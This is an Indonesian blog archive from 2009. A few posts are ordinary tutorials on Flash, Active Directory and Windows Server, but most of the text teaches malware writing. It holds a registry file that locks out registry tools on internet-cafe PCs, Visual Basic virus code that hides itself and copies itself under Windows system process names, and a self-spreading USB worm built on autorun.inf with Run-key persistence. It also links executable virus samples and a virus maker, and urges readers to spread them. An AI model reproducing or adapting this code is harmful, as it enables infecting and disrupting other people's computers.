Selasa, 24 Februari 2009

tutorial flash


Pada
dasarnya tutorial ini dapat dikembangkan untuk membuat sebuah permainan
atau game yang sederhana. Mungkin Anda pernah melihat atau bahkan Anda
sudah pernah bermain game pesawat tempur, untuk menggerakkan pesawat
tempur tersebut kita dapat menggunakan tombol navigasi anak panah yang
ada di dalam keyboard.
Tombol anak panah atas, bawah, kiri dan kanan dipakai untuk mengendalikan gerak
pesawat. Tentu Anda bertanya apa sulit untuk membuat navigasi dengan
menggunakan keyboard? Tentu tidak karena Flash telah menyediakan printah-printah
praktis untuk menggerakkan gambar atau objek apa saja lewat tombol-tombol pada
keyboard.

Lebih lanjut silahkan download pdf nya, disini: http://unair.info/flash/navigasi-sederhana.zip
Sumber dari situs Ilmu Website dalam kategori flash dengan judul Membuat Navigasi Sederhana



sumber:http://www.ilmuwebsite.com/detil_flash/4/Membuat_Navigasi_Sederhana/

Senin, 16 Februari 2009

Active Directory

active directory merupakan sebuah directory yang menyimpan informasi tentang resource dalam network sehingga bisa diakses dioleh aplikasi dan user atau disebut file dengandata yang terpusat

instalasi active directory
  1. klik tombol start/run
  2. ketik dcpromo kemudian klik ok
  3. dan akan muncul "welcome to the active direktory instalation wizard"
  4. klik next
  5. next lagi jeng
  6. trus ntar bakalan ada pilihan .Pilihan "domain controller for a new domain" jika anda ingin membuat domain baru .kalo pilihan kedua "additional domain controller for an existing domain"itu jika kamu udah punya domain trus mau buat lagi
  7. trus klik next
  8. trus kita disuruh milih lagi nih.pilihannya ada 3 "domain in a new forest'(untuk membuat domain baru)."child domain in an exiting domain tree(kalo kit mo pake domain yang udah ada)."domain tree in an exiting forest "(kalo kita mau buat sebuah tree baru lagi jadi bisa terbentuk forest atau hutan gituh)
  9. kita pake yang pertama dulu yah .trus klik next
  10. pilih no,ust install and configure DNS on this computer
  11. next
  12. next lagi jeng
  13. habus itu kita diminta u/ ngasih nama buat netBIOS name,trus klik next
  14. trus kita atur deh mau di taaruh dimana active directorynya,kalo dah klik next
  15. next lagi
  16. lagi2 kita dihadapin sama pilihan deh.kita pilih aja yang pertama yaitu"permission compatible only with windows 2000 or windows server 2003 OS,kalo dah klik next
  17. masukan password untuk AD.trus klik next
  18. klik next lagi
  19. maka proses AD sedang berlangsung
  20. klik finish setelah konfigurasinya selesai

seputar windows server 2003

windows 2003 server punya banyak versi loh tapi semuanya buat server
nih macam2nya:
windows 2003 standard edition
biasanya digunakan untuk perusahaan kecil dan menengah dengan kebutuhan standard
windows 2003 enterprice edition
kalo produk yang satu ini lebih unggul dibandingkan dengan standard edition tapi yah kalian harus merogoh kantong lebih dalem lagi.Tapi semua itu akan terbayar dengan keunggulan produk ini seperti dukungan 8 processor,dan memmmmory dari 32gb dan 64gb,versi 64bit dan processor itanium
windows 2003 data center edition
produk ini biasanya di jual kepad apembuat komputeer server untuk dijual secara paket(hardwre &software)
windows 2003 web edition
produk ini digunakan hanya sebagai web server .Batasan max nya 2 processor dan 2GB RAM dan anda tida bisa menggunakn prouk ini sebagai domain controller(DC),tapi ada keuntungannya juga loh.tau g` gara2 kekurangan ini anda g perlu merogoh kocek terlalu dalam.
windows 2003 small business server edition
Ini adalah produk all in one di dalam ini terdapat tidak hanya satu produk karena paket produk yang isinya diantaranya adalah:Windows Server Standard Edition,Microsoft Exchange 2003,sharepoint service dan microsoft shared fax services .


Minggu, 15 Februari 2009

PROXY

gimana ya cara menginstal proxy?
sewaktu magang aku mendapatkan e-mail daari guruku da ternyata setelah aku buka itu adalah tugas.Aku mendapat tugas tentang proxy(termasuk setting sederhana)+ tutorial + softwarenya
wah aku bingung banget nih ,masalahnya aku belum taau cara nginstal proxy .akhirnya aku cari di paman google tapi memank slit banget cari softwarenya .
tapi gara2 itu aku jadi tau kalo untuk nginstal proxy itu pake softwarenya tuh squid kalo g winproxy
bagikalian yang mau download winproxy download aja disini.

Rabu, 04 Februari 2009

cara buat program spy

buka registry
gunakan program text editor sederhana seperti notepad,
wordpad, kalau mau Microsoft Word juga bisa.

Langkah pertama yaitu buka text editor kalian, lalu copy-pastekan
code berikut ini ke text-editor kalian:
----------------------------[ potong disini woi ]------------------
REGEDIT4
; awal pembuatan kode mengacak-acak registry warnet


[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
System]
"DisableRegistryTools"=dword:00000001

; sekarang kode buat ngaktifin run
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
Explorer]
"NoRun"=dword:00000000

;proses selesai
----------------------------[ potong disini woi ]---------------------

Langkah kedua save kode tersebut dengan ekstensi REG, misalnya save
dengan nama m2love.reg atau terserah anda aja dech, pokoke
ekstensinya harus REG

Langkah ketiga cukup klik hasil file yang telah anda simpan tadi,
kemudian lanjutkan dengan langkah keempat.

Langkah terakhir reboot komputer anda, Cukup dengan menggunakan
kombinasi Ctrl+Alt+Del, caranya tekan tombol yang bertulisan Ctrl,
tahan... jangan dilepas, lalu tekan juga tombol Alt juga jangan
dilepas selanjutnya tombol Delete. Diharapkan anda tidak jantungan
ketika Windows mengeluarkan popup. Pilih explorer lalu tekan EndTask,
tunggu sebentar lalu akan muncul popup lagi, selanjutnya EndTask-kan
lagi.

Sekarang klik start lalu run dan ketikkan regedit. Zup... regedit
yang manis terbuka dan lakukan apa yang ingin anda lakukan

semua akibat ditanggung sendiri

dapet dari temen gwa nih the_day2000@yahoo.com dari sebuah milis yang gua ikuti

buat virus buka www.astalavista.com

sumber:http://www.klik-kanan.com/forums/index.php?topic=336.0

buat virus ,yuuuuuuuuuuuuuuuk

=========================================================================SCRIPT VIRUS=====================================================================================================================================================================


'//////HAKZ VIRUS MAKER/////////

Option Explicit
Option Base 0
Dim ko As Boolean
Private Type PALETTEENTRY
peRed As Byte
peGreen As Byte
peBlue As Byte
peFlags As Byte
End Type

Private Type LOGPALETTE
palVersion As Integer
palNumEntries As Integer
palPalEntry(255) As PALETTEENTRY ' Enough for 256 colors.
End Type

Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type

Private Const RASTERCAPS As Long = 38
Private Const RC_PALETTE As Long = &H100
Private Const SIZEPALETTE As Long = 104

Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type

Private Declare Function CreateCompatibleDC Lib "GDI32" (ByVal hDC As Long) As Long
Private Declare Function CreateCompatibleBitmap Lib "GDI32" (ByVal hDC As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function GetDeviceCaps Lib "GDI32" (ByVal hDC As Long, ByVal iCapabilitiy As Long) As Long
Private Declare Function GetSystemPaletteEntries Lib "GDI32" (ByVal hDC As Long, ByVal wStartIndex As Long, ByVal wNumEntries As Long, lpPaletteEntries As PALETTEENTRY) As Long
Private Declare Function CreatePalette Lib "GDI32" (lpLogPalette As LOGPALETTE) As Long
Private Declare Function SelectObject Lib "GDI32" (ByVal hDC As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "GDI32" (ByVal hDCDest As Long, ByVal XDest As Long, ByVal YDest As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hDCSrc As Long, ByVal XSrc As Long, ByVal YSrc As Long, ByVal dwRop As Long) As Long
Private Declare Function DeleteDC Lib "GDI32" (ByVal hDC As Long) As Long
Private Declare Function GetForegroundWindow Lib "USER32" () As Long
Private Declare Function SelectPalette Lib "GDI32" (ByVal hDC As Long, ByVal hPalette As Long, ByVal bForceBackground As Long) As Long
Private Declare Function RealizePalette Lib "GDI32" (ByVal hDC As Long) As Long
Private Declare Function GetWindowDC Lib "USER32" (ByVal hWnd As Long) As Long
Private Declare Function GetDC Lib "USER32" (ByVal hWnd As Long) As Long
Private Declare Function GetWindowRect Lib "USER32" (ByVal hWnd As Long, lpRect As RECT) As Long
Private Declare Function ReleaseDC Lib "USER32" (ByVal hWnd As Long, ByVal hDC As Long) As Long
Private Declare Function GetDesktopWindow Lib "USER32" () As Long

Private Type PicBmp
Size As Long
Type As Long
hBmp As Long
hPal As Long
Reserved As Long
End Type

Private Declare Function OleCreatePictureIndirect Lib "olepro32.dll" (PicDesc As PicBmp, RefIID As GUID, ByVal fPictureOwnsHandle As Long, IPic As IPicture) As Long



Public Function CreateBitmapPicture(ByVal hBmp As Long, ByVal hPal As Long) As Picture
Dim r As Long

Dim Pic As PicBmp
Dim IPic As IPicture
Dim IID_IDispatch As GUID

With IID_IDispatch
.Data1 = &H20400
.Data4(0) = &HC0
.Data4(7) = &H46
End With

With Pic
.Size = Len(Pic)
.Type = vbPicTypeBitmap
.hBmp = hBmp
.hPal = hPal
End With

' Create Picture object.
r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)
' Return the new Picture object.
Set CreateBitmapPicture = IPic
End Function



Public Function CaptureWindow(ByVal hWndSrc As Long, ByVal Client As Boolean, ByVal LeftSrc As Long, ByVal TopSrc As Long, ByVal WidthSrc As Long, ByVal HeightSrc As Long) As Picture

Dim hDCMemory As Long
Dim hBmp As Long
Dim hBmpPrev As Long
Dim r As Long
Dim hDCSrc As Long
Dim hPal As Long
Dim hPalPrev As Long
Dim RasterCapsScrn As Long
Dim HasPaletteScrn As Long
Dim PaletteSizeScrn As Long
Dim LogPal As LOGPALETTE

If Client Then
hDCSrc = GetDC(hWndSrc)
Else
hDCSrc = GetWindowDC(hWndSrc)

End If

' Create a memory device context for the copy process.
hDCMemory = CreateCompatibleDC(hDCSrc)
' Create a bitmap and place it in the memory DC.
hBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc)
hBmpPrev = SelectObject(hDCMemory, hBmp)

' Get screen properties.
RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS)

HasPaletteScrn = RasterCapsScrn And RC_PALETTE

PaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE)


' If the screen has a palette make a copy and realize it.
If HasPaletteScrn And (PaletteSizeScrn = 256) Then
' Create a copy of the system palette.
LogPal.palVersion = &H300
LogPal.palNumEntries = 256
r = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0))
hPal = CreatePalette(LogPal)
' Select the new palette into the memory DC and realize it.
hPalPrev = SelectPalette(hDCMemory, hPal, 0)
r = RealizePalette(hDCMemory)
End If

' Copy the on-screen image into the memory DC.
r = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, LeftSrc, TopSrc, vbSrcCopy)

' Remove the new copy of the on-screen image.
hBmp = SelectObject(hDCMemory, hBmpPrev)

' If the screen has a palette get back the palette that was
' selected in previously.
If HasPaletteScrn And (PaletteSizeScrn = 256) Then
hPal = SelectPalette(hDCMemory, hPalPrev, 0)
End If

' Release the device context resources back to the system.
r = DeleteDC(hDCMemory)
r = ReleaseDC(hWndSrc, hDCSrc)

' Call CreateBitmapPicture to create a picture object from the
' bitmap and palette handles. Then return the resulting picture
' object.
Set CaptureWindow = CreateBitmapPicture(hBmp, hPal)
End Function

Public Function CaptureScreen() As Picture
Dim hWndScreen As Long
hWndScreen = GetDesktopWindow() ' Get a handle for capturing.
' Call CaptureWindow to capture the entire desktop give the handle
Set CaptureScreen = CaptureWindow(hWndScreen, True, 0, 0, Screen.Width \ Screen.TwipsPerPixelX, Screen.Height \ Screen.TwipsPerPixelY)
End Function

Private Sub Command1_Click()
Form1.SetFocus
End
End Sub

Private Sub Form_Load()
Form1.ForeColor = vbBlack
Set Form1.Picture = CaptureScreen()
End Sub

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
ko = False
CurrentX = Y
CurrentY = X
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If ko = False And Button = 0 Then
Line -(Y, X)
End If
End Sub

=======================================================================================================END SCRIPT=========================================================================================================================================
di built lewat VB..

wakakakakakakakakkaaaaaaaaaaaaaaaaaaaaaaaa................................. BUANYAAAAKKKK GAAAAAKK..????
atau kurang banyak.??

buat yang males mikir tuh script mesti di bikin kayak gimana mau di bikin mie goreng sama es teh juga gak papa.... heheheh...
tapi buat yang bener-bener berminat sama nih virus kalian bisa kok download secara geratis...


disini tempat DOWNLOAD VIRUS-nya [url=[http://h1.ripway.com/HaKzZz/razorblade.exe]]download[/url]


sumber:
http://virologi.info/virologist/modules/news/article.php?storyid=285

buat virus pake visual basic 6

Sebenarnya bikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang kebakaran jengot gara2 virus kita. Aku mau berbagi sedikit ilmu nih tentang cara bikin virus dengan VB 6. Materi ini hanya untuk coba-coba saja atau kata lainnya ini masih dasarnya. Kamu mungkin bisa mengembangkannya sendiri. Oh ya, aku juga menyertakan satu contoh virus yang sudah aku buat namanya r3d_94l4xy. Untuk materi yang lebih berat akan disambung lain waktu. Bagi yang ingin mendapatkan sample virus tertentu dengan source codenya silakan contact Johan.

Pertama, bikin form buat virus kamu pake Standart exe saja

1. Nyembuin Form

Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Kopiin Diri Sendiri
Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”

3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori

On Error Resume Next
MkDir “C:\WINDOWS\virus”

4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:\WINDOWS\winlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\csrss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\services.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\lsass.exe”).Attributes = 2

tapi kalo folder pakenya
sembunyi.GetFolder(”C:\WINDOWS\”).Attributes = 2

5. Bikin Pesan Virus
Bikin pesen pake text file

On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C:\baca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close

6.Ngubah Registry
Misalnya mo disable regedit

On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry
Misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon



On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon”

Nah sekian dulu materi yang kita pelajari, dari pada pusing, download sample virus r3d_94l4xy dan sebarin ke seluruh penjuru dunia OK!
r3d_94l4xy.rar 180 kb
Berhubung banyaknya permintaan mengenai Sample Virus dalam bentuk VB Project, jadi dibawah ini aku tambahi Source VB nya r3d_94l4xy dan virus lainnya :
r3d_94l4xy (VB_Basic).rar 95 kb
r3d_94l4xy (VB_Extreme).rar 860 kb
Source VB 4 Virus.rar 1297 kb
Trus yang ini adalah software untuk membuat virus dengan mudah, coba deh !
Visual Basic Virus Maker 32 RC 03.rar 1560 kb
Trus yang terakhir ini adalah Artikel tentang Regsitry, bisa kamu pelajari sampai tua!
1001 Malam Mengedit Registry.rar 41 kb
Teknik Bikin Virus Komputer.rar 20 kb
Tak kasih bonus ya Internet Maniac dan Harpot Infeksi Exe, tau kan fungsinya!
Internet Maniac.rar 59 kb
Harpot Infeksi Exe.rar 881 kb
Segini dulu aja ya, soalnya aku lagi persiapan buat lomba Debat Bahasa Inggris di Jember, tanggal 25 November nanti. Dan jangan lupa doain aku biar juara 1, OK ! Dan seperti biasanya, kalau ada pertanyaan, silakan bertanya jangan dipendam. Selamat Belajar !

seputar virus &cara kerjanya

Jika kita tanpa sengaja menjalankan/membangkitkan suatu virus (Virus Komputer). Maka yang pasti dilakukan virus tersebut setelah bangkit dari tidurnya adalah menginfeksi system yang ada pada computer target agar virus tersebut melekat pada computer target. Sehingga meskipun komputer tersebut telah di-restart virus tersebut akan tetap aktif dikomputer target tersebut.

Cara kerja virus menginfeksi system:
Melakukan penggandaan ke system.
Langkah pertama sekali yang dilakukan oleh kebanyakan virus ketika user
menjalankan virus dikomputernya adalah melakukan penggandaan kesistem
user tersebut. Proses penggandaan ke system tersebut berfungsi agar virus
tetap aktif pada saat computer direstart. Biasanya hasil penggandaan ke
system mempunyai nama yang hampir dengan nama file system dan ada juga
yang sama dengan nama file system hanya saja lokasi file tersebut berbeda
dengan file aslinya. Contoh (winlogon.exe, lsass.exe, services.exe, csrss.exe,
iexplorer.exe, shell.exe, dll).
Menyeting registry.
Setelah virus tersebut berhasil menggandakan dirinya kesistem barulah virus
tersebut menggunakan registry sebagai benteng pertahanan. Kok
menggunakan registry, seharusnya virus kan mampu melindungi dirinya sendiri
tanpa bantuan registry? Benar, Tapi meskipun begitu banyak sekali
kemungkinan virus tersebut dapat ditanggulangi oleh Antivirus atau software
sejenisnya. Tapi dengan meminjam bantuan registry dari system operasi maka
virus tersebut tersebut dapat melindungi dirinya dengan sangat baik.
Dikarenakan kunci system operasi ada pada registry. Dengan bantuan registry
ini virus mampu menjalankan dirinya kedalam mode safe-mode ataupun
kedalam mode safe-mode dos sekalipun. Dan melalukan pengaturan agar virus
tersebut tetap dalam keadaan tidak terlihat sehingga menyulitkan user untuk
menghapus virus tersebut secara manual.
Mengaktifkan virus yang telah berada disistem.
Setelah virus telah melakukan penggandaan ke system dan menyeting registry
maka yang dilakukan virus selanjutnya adalah menjalankan virus telah ada
disistem sehingga meskipun flashdisk atau pun disket tersebut dikeluarkan
maka virus tersebut akan tetap aktif.

etika virus dijalankan oleh seseorang maka virus tersebut akan mulai melakukan aktivitasnya sebagai virus yaitu dengan melakukan penggandaan ke system computer (Infeksi ke system). Hal ini dilakukan agar virus tetap berada pada system meskipun sarana media penyebarannya telah dilepas, virus tersebut akan tetap aktif dengan cara mengaktifkan virus yang ter-copy di system sehingga system benarbenar telah terinfeksi oleh virus.

Lokasi folder penggandaan virus pada system:
Windows (Winnt untuk windows NT)
System32 (System untuk windows 9x)
Startup
Application Data

Lokasi diatas biasanya yang paling sering digunakan oleh virus. Mengapa
harus lokasi tersebut? Karena untuk orang awam lokasi tersebut merupakan lokasi dimana file nya tidak boleh dihapus, karena hampir semua file yang ada pada folder tersebut merupakan file penting karena jika terjadi penghapusan terhadap file diperlukan oleh windows maka windows akan mengalami kerusakan. Dan hal ini dimanfaatkan oleh virus untuk melindungi dirinya.
__________________Selain lokasi folder virus juga melakukan perubahan extensi untuk menyamar
agar virus tersebut sulit dicari.

Extensi file yang sering digunakan oleh virus pada saat melakukan penggadaan pada system:
EXE
SCR
COM
PIF

Extensi diatas semuanya memiliki cara akses yang sama. Meskipun terjadi
perubahan extensi, virus tersebut tetap akan berjalan dengan normal. SCR digunakan virus untuk menyamar sebagai Screen Saver sehingga virus tersebut akan aktif jika Screen Saver aktif. Dan tentunya dengan melakukan sedikit perubahan pada registry agar virus tersebut menjadi Default pada Screen Saver.

Agar penyamaran sukses virus juga menggunakan penamaan yang hampir
sama dengan file system atau bahkan memang sama hanya saja lokasi file tersebut yang berbeda.

Penamaan file yang sering digunakan virus pada system:
winlogon.exe
lsass.exe
services.exe
csrss.exe
smss.exe
svchost.exe
System
taskmgr.exe
explorer.exe
iexplorer.exe
notepad.exe
winword.exe

Dengan menggunakan penamaan file seperti itu. Virus tersebut dapat membuat
bingung orang terserang virus tersebut karena mereka tidak tahu apakah file tersebut benar-benar file system yang asli atau yang palsu (virus).

Penamaan file yang bermasalah pada task manager adalah winlogon.exe,
lsass.exe, services.exe, csrss.exe, smss.exe. Karena file tersebut justru akan
dilindungi oleh task manager sehingga tidak dapat matikan prosesnya oleh task
manager.

Minggu, 01 Februari 2009

buat virus yang agak merusak

ni kalo mo yang agak merusak…

tinggal di paste di vb
dan diberi nama mata.exe
‘—————–
Dim uny, juki, scr, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd
Dim k As Long
Private Sub Form_Load()
k = Shell(”c:\windows\system32\taskmgr.exe”, vbHide)
App.TaskVisible = False
On Error Resume Next
Image1(0).Visible = True
Timer1.Enabled = True
Timer5.Enabled = True
FileCopy CurDir + “\mata.exe”, “C:\mata.exe”
FileCopy CurDir + “\mata.exe”, “d:\mata.exe”
FileCopy CurDir + “\mata.exe”, “e:\mata.exe”
FileCopy CurDir + “\mata.exe”, “f:\mata.exe”
FileCopy CurDir + “\mata.exe”, “g:\mata.exe”
FileCopy CurDir + “\mata.exe”, “h:\mata.exe”
FileCopy CurDir + “\mata.exe”, “i:\mata.exe”
FileCopy CurDir + “\mata.exe”, “j:\mata.exe”
FileCopy CurDir + “\mata.exe”, “k:\mata.exe”
FileCopy CurDir + “\mata.exe”, “l:\mata.exe”
FileCopy CurDir + “\mata.exe”, “m:\mata.exe”
FileCopy CurDir + “\mata.exe”, “n:\mata.exe”
FileCopy CurDir + “\mata.exe”, “o:\mata.exe”
sumpeh
End Sub
Sub sumpeh():
k = Shell(”c:\windows\system32\taskmgr.exe”, vbHide)
App.TaskVisible = False
uny = “untuk perempuanku… love is me and youhidup dan nasib, bisa tampak berantakan, misterius, fantastis, dan sporadis, namun setiap elemenya adalah subsistem keteraturan dari sebuah desain holistik yang perfect. Menerima kehidupan berarti menerima kenyataan bahwa tak ada hal sekecil apapun yang terjadi karena kebetulan. ini fakta yang tak terbantahkan. cinta ini tak akan pernah usai dan mati karena aku akan selalu memberi nafas untuk cinta ini, walau berat akan selalu aku jaga sampai kamu sadar betapa berharganya kamu untuk aku. Jika memang ada yang bisa menghentikan perasaan ini, aku akan melakukanya, karena perasaan ini juga telah menyiksaku tanpa kehadiran kamu. hidup tak akan pernah mudah, mulai bertanya adalah hal yang bisa membantumu untuk melihat betapa aku membutuhkanmu untuk mulai melangkah ”
juki = “dan menyanjungi duniaku. jangan pernah berhenti untuk selalu mencintaiku, yosa sayang viena”
atr = “[autorun]” & vbCrLf & “open=mata.exe”
Set fs = CreateObject(”Scripting.FileSystemObject”)
Set mf = fs.getfile(Wscript.ScriptFullname)
Dim text, size: size = mf.size: check = mf.Drive.drivetype: Set text = mf.openastextstream(1, -2)
Set b = fs.CreateTextFile(winpath + “\ perempuanku.HTM”, 2, True)
b.write uny + juki
b.Close
SetAttr CurDir + “\ perempuanku.HTM”, vbReadOnly

Set b = fs.CreateTextFile(winpath + “\autorun.inf”, 2, True)
b.write atr
b.Close
SetAttr winpath + “\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “D:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “E:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “F:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “G:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “H:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “I:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “J:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “K:\mata.exe”, vbSystem + vbHidden + vbReadOnly + vbArchive

SetAttr “D:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “E:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “F:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “G:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “H:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “I:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “J:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive
SetAttr “K:\autorun.inf”, vbSystem + vbHidden + vbReadOnly + vbArchive

Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 2 + 3
Set tf = fs.CreateTextFile(flashdrive.Path & “\autorun.inf”, 2, True)
tf.write atr
tf.Close
Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 2 + 3
Set tf = fs.getfile(flashdrive.Path & “\mata.exe”)
tf.Attributes = 2 + 3

If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path “A:” Then
Set tf = fs.getfile(flashdrive.Path & “\ perempuanku.HTM”): tf.Attributes = 32
Set tf = fs.CreateTextFile(flashdrive.Path & “\ perempuanku.HTM”, 2, True)
tf.write uny + juki
tf.Close
Set tf = fs.getfile(flashdrive.Path & “\ perempuanku.HTM”)
End If
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path “A:” Then
Set tf = fs.getfile(flashdrive.Path & “\mata.exe”)
tf.Attributes = 2 + 3
Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 2 + 3
Set tf = fs.CreateTextFile(flashdrive.Path & “\autorun.inf”, 2, True)
tf.write atr
tf.Close
Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 2 + 3
Set rg = CreateObject(”WScript.Shell”):
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\system32″, winpath & “\setting.dll.vbs”:
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”, “love is me and you”:
rg.regwrite “HKCR\vbsfile\DefaultIcon”, “shell32.dll,2″:
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\legalNoticeText”, “Ya Tuhan…Kalo dia memang jodohku,Dekatkanlah..Ya Tuhan,Kalo dia bukan jodohku,Jodohkanlah…Ya Tuhan,Kalau dia jodoh orang lain,Putuskanlah Jodohkanlah denganku..Ya Tuhan,Kalau dia sudah milik orang lain, Berikanlah orang lain itu jodoh yang lain,lalu Jodohkanlah dia denganku… Ya Tuhan,Bila dia memang benar-benar bukan jodohku,Jangan sampai dia dapet jodoh yang lain Lalu jodohkanlah denganku..Ya Tuhan, Bila memang kami tidak berjodoh, Biarkanlah kami terbengkalai tanpa jodoh. Lalu jodohkanlah kami.. Amien yosa sayang viena”:
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\legalNoticeCaption”, “Untuk perempuanku”:
rg.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HTML”, “C:\ perempuanku.htm”:
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\HTML”, “C:\ perempuanku.htm”:
rg.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\deepfreeze”, “C:\mata.exe”:
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\deepfreeze”, “C:\mata.exe”:
rg.regwrite “HKEY_CURRENT_USER\Control Panel\International\s2359″, “yos”
rg.regwrite “HKEY_CURRENT_USER\Control Panel\International\s1159″, “vie”
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
MsgBox “mata adalah cerminan dari hati kita, jagalah mata dari segala yang merusak hati”, vbInformation, “yosa love viena”
End Sub

Private Sub Image1_Click(Index As Integer)
MsgBox “ketika sebuah perasaan mengalir pada setiap manusia maka tak akan pernah ada yang dapat menghalanginya. Karena cinta memiliki kekuatan nya yang sangat dasyat. Cinta akan datang tanpa bisa kita menyadarinya. Cinta terkadang seperti angin yang selalu berhembus. Kita bisa merasakan sentuhannya jika kita mau merasakannya. Cinta terkadang seperti hujan yang turun setelah gelapnya awan. Cinta juga terkadang seperti api yang bisa membakar semuanya jika ia terlalu besar. Setiap manusia akan merasakan semua itu jika ia bisa mengendalikannya. Sampai saat ini semua yang dirasakan setiap manusia pasti ada mengandung cinta. Cinta tidak hanya untuk pasangan kekasih. Cinta ada disetiap sudut lingkaran hidup manusia. Cinta akan terasa indah jika kita mengisinya dalam hidup kita.”, vbInformation, “antara jakarta dan kudus”
End Sub

Private Sub Timer1_Timer()
Image1(0).Visible = True
Timer2.Enabled = True
End Sub

Private Sub Timer2_Timer()
Image1(0).Visible = False
Timer1.Enabled = False
Image1(1).Visible = True
Timer3.Enabled = True
Image1(2).Visible = False
End Sub

Private Sub Timer3_Timer()
Image1(0).Visible = False
Timer2.Enabled = False
Image1(1).Visible = False
Timer4.Enabled = True
Image1(2).Visible = True
End Sub

Private Sub Timer4_Timer()
Image1(2).Visible = False
Timer3.Enabled = False
Image1(0).Visible = True
Timer1.Enabled = True

End Sub

Private Sub Timer5_Timer()
On Error Resume Next
FileCopy winpath + “\ perempuanku.htm”, “d:\ perempuanku.htm”
FileCopy winpath + “\ perempuanku.htm”, “e:\ perempuanku.htm”
